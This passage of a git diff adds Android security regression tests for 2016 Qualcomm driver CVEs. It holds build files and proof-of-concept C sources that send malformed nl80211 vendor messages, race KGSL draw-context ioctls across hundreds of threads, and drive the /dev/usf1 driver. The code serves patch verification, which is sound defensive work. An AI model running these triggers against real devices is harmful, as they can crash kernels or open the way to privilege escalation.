+ rret2 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
+
+ if (!rret2) {
+ return 1;
+ }
+
+ for (i = 0; i < 4; ++i) {
+ rret3 = nla_nest_start(msg, GSCAN_ATTRIBUTE_ANQPO_HS_LIST);
+
+ if (!rret3) {
+ return 1;
+ }
+
+ nla_put(msg, GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, 256, &buf_test);
+ nla_nest_end(msg, rret3);
+ }
+
+ nla_nest_end(msg, rret2);
+
+ nla_nest_end(msg, rret);
+
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
+
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
index b9c51d1..bf592df 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS := -Wall -W -g -O2 -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8476/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8476/Android.mk
new file mode 100644
index 0000000..dee2e39
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8476/Android.mk
@@ -0,0 +1,43 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8476
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/external/libnl/include/ \
+ $(TOP)/external/libnl/lib/ \
+
+LOCAL_SHARED_LIBRARIES:= libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8476/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8476/poc.c
new file mode 100644
index 0000000..aac5bd7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8476/poc.c
@@ -0,0 +1,206 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h> /* See NOTES */
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 1024
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+#define KGSL_IOC_TYPE 0x09
+
+struct kgsl_perfcounter_query_compat {
+ unsigned int groupid;
+ unsigned int countables;
+ unsigned int count;
+ unsigned int max_counters;
+ unsigned int __pad[2];
+};
+struct kgsl_perfcounter_read_group {
+ unsigned int groupid;
+ unsigned int countable;
+ unsigned long long value;
+};
+#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
+ _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
+
+struct kgsl_perfcounter_read_compat {
+ unsigned int reads;
+ unsigned int count;
+ unsigned int __pad[2];
+};
+
+#define CAL_IOCTL_MAGIC 'a'
+
+#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+
+struct nl_sock *nl_sk;
+#define NL80211_ATTR_IFINDEX 3
+enum wlan_hdd_tm_attr {
+ WLAN_HDD_TM_ATTR_INVALID = 0,
+ WLAN_HDD_TM_ATTR_CMD = 1,
+ WLAN_HDD_TM_ATTR_DATA = 2,
+ WLAN_HDD_TM_ATTR_STREAM_ID = 3,
+ WLAN_HDD_TM_ATTR_TYPE = 4,
+ /* keep last */
+ WLAN_HDD_TM_ATTR_AFTER_LAST,
+ WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
+};
+
+enum wlan_hdd_tm_cmd {
+ WLAN_HDD_TM_CMD_WLAN_FTM = 0,
+ WLAN_HDD_TM_CMD_WLAN_HB = 1,
+};
+
+#define SIR_PASSPOINT_REALM_LEN 256
+#define SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM 16
+#define SIR_PASSPOINT_PLMN_LEN 3
+
+#define QCA_NL80211_VENDOR_ID 0x001374
+#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
+#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY 2
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID 3
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM 4
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID 5
+#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN 6
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+int test(void);
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret, *rret1, *rret3;
+ unsigned char oper_classes[253];
+ int i = 0;
+ unsigned char data_in[SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM];
+ unsigned char hb_params[512];
+
+ struct nl80211_sta_flag_update flags;
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST);
+
+ rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+ if (!rret) {
+ return 1;
+ }
+
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM, 0XA3D70B);
+
+ rret1 = nla_nest_start(
+ msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY);
+ if (!rret1) {
+ return 1;
+ }
+
+ rret3 = nla_nest_start(
+ msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY);
+ if (!rret3) {
+ return 1;
+ }
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID, 0x123);
+ nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM, 256,
+ &oper_classes);
+ nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID,
+ sizeof(data_in), &data_in);
+ nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN,
+ SIR_PASSPOINT_PLMN_LEN, &data_in);
+
+ nla_nest_end(msg, rret3);
+ nla_nest_end(msg, rret1);
+ nla_nest_end(msg, rret);
+
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+ if (getuid() != 0) {
+ return -1;
+ }
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+#define NL80211_CMD_GET_WIPHY 1
+#define NL80211_CMD_SET_STATION 18
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
+ perror("genl_send_msg 2");
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8479/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8479/Android.mk
new file mode 100644
index 0000000..f5fbd1a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8479/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8479
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8479/poc.c
new file mode 100644
index 0000000..94202f6
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8479/poc.c
@@ -0,0 +1,186 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define THREAD_NUM 600
+#define DEV "/dev/kgsl-3d0"
+
+/* ioctls */
+#define KGSL_IOC_TYPE 0x09
+
+/* --- context flags --- */
+#define KGSL_CONTEXT_SAVE_GMEM 0x00000001
+#define KGSL_CONTEXT_NO_GMEM_ALLOC 0x00000002
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SUBMIT_IB_LIST 0x00000004
+#define KGSL_CONTEXT_CTX_SWITCH 0x00000008
+#define KGSL_CONTEXT_PREAMBLE 0x00000010
+#define KGSL_CONTEXT_TRASH_STATE 0x00000020
+#define KGSL_CONTEXT_PER_CONTEXT_TS 0x00000040
+#define KGSL_CONTEXT_USER_GENERATED_TS 0x00000080
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_END_OF_FRAME 0x00000100
+#define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SYNC 0x00000400
+#define KGSL_CONTEXT_PWR_CONSTRAINT 0x00000800
+
+#define KGSL_CONTEXT_PRIORITY_MASK 0x0000F000
+#define KGSL_CONTEXT_PRIORITY_SHIFT 12
+#define KGSL_CONTEXT_PRIORITY_UNDEF 0
+
+#define KGSL_CONTEXT_IFH_NOP 0x00010000
+#define KGSL_CONTEXT_SECURE 0x00020000
+
+#define KGSL_CONTEXT_TYPE_MASK 0x01F00000
+#define KGSL_CONTEXT_TYPE_SHIFT 20
+#define KGSL_CONTEXT_TYPE_ANY 0
+#define KGSL_CONTEXT_TYPE_GL 1
+#define KGSL_CONTEXT_TYPE_CL 2
+#define KGSL_CONTEXT_TYPE_C2D 3
+#define KGSL_CONTEXT_TYPE_RS 4
+#define KGSL_CONTEXT_TYPE_UNKNOWN 0x1E
+
+#define KGSL_CONTEXT_INVALID 0xffffffff
+
+/*
+ * --- command batch flags ---
+ * The bits that are linked to a KGSL_CONTEXT equivalent are either legacy
+ * definitions or bits that are valid for both contexts and cmdbatches. To be
+ * safe the other 8 bits that are still available in the context field should be
+ * omitted here in case we need to share - the other bits are available for
+ * cmdbatch only flags as needed
+ */
+#define KGSL_CMDBATCH_MEMLIST 0x00000001
+#define KGSL_CMDBATCH_MARKER 0x00000002
+#define KGSL_CMDBATCH_SUBMIT_IB_LIST KGSL_CONTEXT_SUBMIT_IB_LIST /* 0x004 */
+#define KGSL_CMDBATCH_CTX_SWITCH KGSL_CONTEXT_CTX_SWITCH /* 0x008 */
+#define KGSL_CMDBATCH_PROFILING 0x00000010
+#define KGSL_CMDBATCH_END_OF_FRAME KGSL_CONTEXT_END_OF_FRAME /* 0x100 */
+#define KGSL_CMDBATCH_SYNC KGSL_CONTEXT_SYNC /* 0x400 */
+#define KGSL_CMDBATCH_PWR_CONSTRAINT KGSL_CONTEXT_PWR_CONSTRAINT /* 0x800 */
+
+/* create a draw context, which is used to preserve GPU state.
+ * The flags field may contain a mask KGSL_CONTEXT_* values
+ */
+struct kgsl_drawctxt_create {
+ unsigned int flags;
+ unsigned int drawctxt_id; /*output param */
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+ _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+/* destroy a draw context */
+struct kgsl_drawctxt_destroy {
+ unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_DESTROY \
+ _IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
+
+void* child_ioctl_0(void* no_use);
+void* child_ioctl_1(void* no_use);
+void* child_ioctl_2(void* no_use);
+
+int fd;
+unsigned int kgsl_id;
+pthread_t thread_id[THREAD_NUM + 1] = {0};
+int thread_ret[THREAD_NUM] = {0};
+
+static int set_affinity(int num) {
+ int ret = 0;
+ cpu_set_t mask;
+ CPU_ZERO(&mask);
+ CPU_SET(num, &mask);
+ ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ return ret;
+}
+
+void* child_ioctl_0(void* no_use) {
+ int ret = 1;
+ struct kgsl_drawctxt_destroy kdd = {0};
+ kdd.drawctxt_id = kgsl_id;
+ set_affinity(1);
+
+ while (1) {
+ ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+ }
+}
+
+void* child_ioctl_1(void* no_use) {
+ int ret = 1;
+ struct kgsl_drawctxt_destroy kdd = {0};
+ kdd.drawctxt_id = kgsl_id;
+ set_affinity(2);
+
+ while (1) {
+ ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+ }
+}
+
+void* child_ioctl_2(void* no_use) {
+ int ret = 1;
+ struct kgsl_drawctxt_create kdc = {0, 0};
+ kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
+ set_affinity(3);
+ while (1) {
+ ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+ kgsl_id = kdc.drawctxt_id;
+ }
+}
+
+int main() {
+ int i, ret;
+ struct kgsl_drawctxt_create kdc = {0, 0};
+ kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
+ struct kgsl_drawctxt_destroy kdd = {0};
+
+ /* bind_cpu */
+ set_affinity(0);
+
+ /* open dev */
+ fd = open(DEV, O_RDWR);
+ if (fd == -1) {
+ return 0;
+ }
+
+ /* create thread */
+ for (i = 0; i < 150; i = i + 3) {
+ thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+ thread_ret[i + 1] =
+ pthread_create(thread_id + i + 1, NULL, child_ioctl_1, NULL);
+ thread_ret[i + 2] =
+ pthread_create(thread_id + i + 2, NULL, child_ioctl_2, NULL);
+ }
+
+ while (1) {
+ ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+ kgsl_id = kdc.drawctxt_id;
+ }
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8481/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8481/Android.mk
new file mode 100644
index 0000000..a578057
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8481/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8481
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8481/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8481/poc.c
new file mode 100644
index 0000000..bf5f30c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8481/poc.c
@@ -0,0 +1,306 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define THREAD_NUM 1
+#define DEV "/dev/usf1"
+
+/* min, max array dimension */
+#define MIN_MAX_DIM 2
+
+#define USF_MAX_PORT_NUM 8
+
+static const unsigned short PortSamplesDataSize = 768;
+
+/* Encoder (TX), decoder (RX) supported US data formats */
+#define USF_POINT_EPOS_FORMAT 0
+#define USF_RAW_FORMAT 1
+
+/* Indexes of event types, produced by the calculators */
+#define USF_TSC_EVENT_IND 0
+#define USF_TSC_PTR_EVENT_IND 1
+#define USF_MOUSE_EVENT_IND 2
+#define USF_KEYBOARD_EVENT_IND 3
+#define USF_TSC_EXT_EVENT_IND 4
+#define USF_MAX_EVENT_IND 5
+
+/* Types of events, produced by the calculators */
+#define USF_NO_EVENT 0
+#define USF_TSC_EVENT (1 << USF_TSC_EVENT_IND)
+#define USF_TSC_PTR_EVENT (1 << USF_TSC_PTR_EVENT_IND)
+#define USF_MOUSE_EVENT (1 << USF_MOUSE_EVENT_IND)
+#define USF_KEYBOARD_EVENT (1 << USF_KEYBOARD_EVENT_IND)
+#define USF_TSC_EXT_EVENT (1 << USF_TSC_EXT_EVENT_IND)
+#define USF_ALL_EVENTS \
+ (USF_TSC_EVENT | USF_TSC_PTR_EVENT | USF_MOUSE_EVENT | USF_KEYBOARD_EVENT | \
+ USF_TSC_EXT_EVENT)
+void *child_ioctl_0(void *no_use);
+
+/* Info structure common for TX and RX */
+struct us_xx_info_type {
+ /* Input: general info */
+ /* Name of the client - event calculator */
+ const char __user *client_name;
+ /* Selected device identification, accepted in the kernel's CAD */
+ uint32_t dev_id;
+ /* 0 - point_epos type; (e.g. 1 - gr_mmrd) */
+ uint32_t stream_format;
+ /* Required sample rate in Hz */
+ uint32_t sample_rate;
+ /* Size of a buffer (bytes) for US data transfer between the module and USF */
+ uint32_t buf_size;
+ /* Number of the buffers for the US data transfer */
+ uint16_t buf_num;
+ /* Number of the microphones (TX) or speakers(RX) */
+ uint16_t port_cnt;
+ /* Microphones(TX) or speakers(RX) indexes in their enumeration */
+ uint8_t port_id[USF_MAX_PORT_NUM];
+ /* Bits per sample 16 or 32 */
+ uint16_t bits_per_sample;
+ /* Input: Transparent info for encoder in the LPASS */
+ /* Parameters data size in bytes */
+ uint16_t params_data_size;
+ /* Pointer to the parameters */
+ uint8_t __user *params_data;
+ /* Max size of buffer for get and set parameter */
+ uint32_t max_get_set_param_buf_size;
+};
+
+struct us_input_info_type {
+ /* Touch screen dimensions: min & max;for input module */
+ int tsc_x_dim[MIN_MAX_DIM];
+ int tsc_y_dim[MIN_MAX_DIM];
+ int tsc_z_dim[MIN_MAX_DIM];
+ /* Touch screen tilt dimensions: min & max;for input module */
+ int tsc_x_tilt[MIN_MAX_DIM];
+ int tsc_y_tilt[MIN_MAX_DIM];
+ /* Touch screen pressure limits: min & max; for input module */
+ int tsc_pressure[MIN_MAX_DIM];
+ /* The requested buttons bitmap */
+ uint16_t req_buttons_bitmap;
+ /* Bitmap of types of events (USF_X_EVENT), produced by calculator */
+ uint16_t event_types;
+ /* Bitmap of types of events from devs, conflicting with USF */
+ uint16_t conflicting_event_types;
+};
+
+struct us_tx_info_type {
+ /* Common info */
+ struct us_xx_info_type us_xx_info;
+ /* Info specific for TX*/
+ struct us_input_info_type input_info;
+};
+
+struct us_rx_info_type {
+ /* Common info */
+ struct us_xx_info_type us_xx_info;
+ /* Info specific for RX*/
+};
+
+struct us_stream_param_type {
+ /* Id of module */
+ uint32_t module_id;
+ /* Id of parameter */
+ uint32_t param_id;
+ /* Size of memory of the parameter buffer */
+ uint32_t buf_size;
+ /* Pointer to the memory of the parameter buffer */
+ uint8_t __user *pbuf;
+};
+
+#define USF_IOCTL_MAGIC 'U'
+
+#define US_SET_TX_INFO _IOW(USF_IOCTL_MAGIC, 0, struct us_tx_info_type)
+#define US_START_TX _IO(USF_IOCTL_MAGIC, 1)
+#define US_GET_TX_UPDATE \
+ _IOWR(USF_IOCTL_MAGIC, 2, struct us_tx_update_info_type)
+#define US_SET_RX_INFO _IOW(USF_IOCTL_MAGIC, 3, struct us_rx_info_type)
+#define US_SET_RX_UPDATE \
+ _IOWR(USF_IOCTL_MAGIC, 4, struct us_rx_update_info_type)
+#define US_START_RX _IO(USF_IOCTL_MAGIC, 5)
+
+#define US_STOP_TX _IO(USF_IOCTL_MAGIC, 6)
+#define US_STOP_RX _IO(USF_IOCTL_MAGIC, 7)
+
+#define US_SET_TX_STREAM_PARAM \
+ _IOW(USF_IOCTL_MAGIC, 10, struct us_stream_param_type)
+#define US_GET_TX_STREAM_PARAM \
+ _IOWR(USF_IOCTL_MAGIC, 11, struct us_stream_param_type)
+#define US_SET_RX_STREAM_PARAM \
+ _IOW(USF_IOCTL_MAGIC, 12, struct us_stream_param_type)
+#define US_GET_RX_STREAM_PARAM \
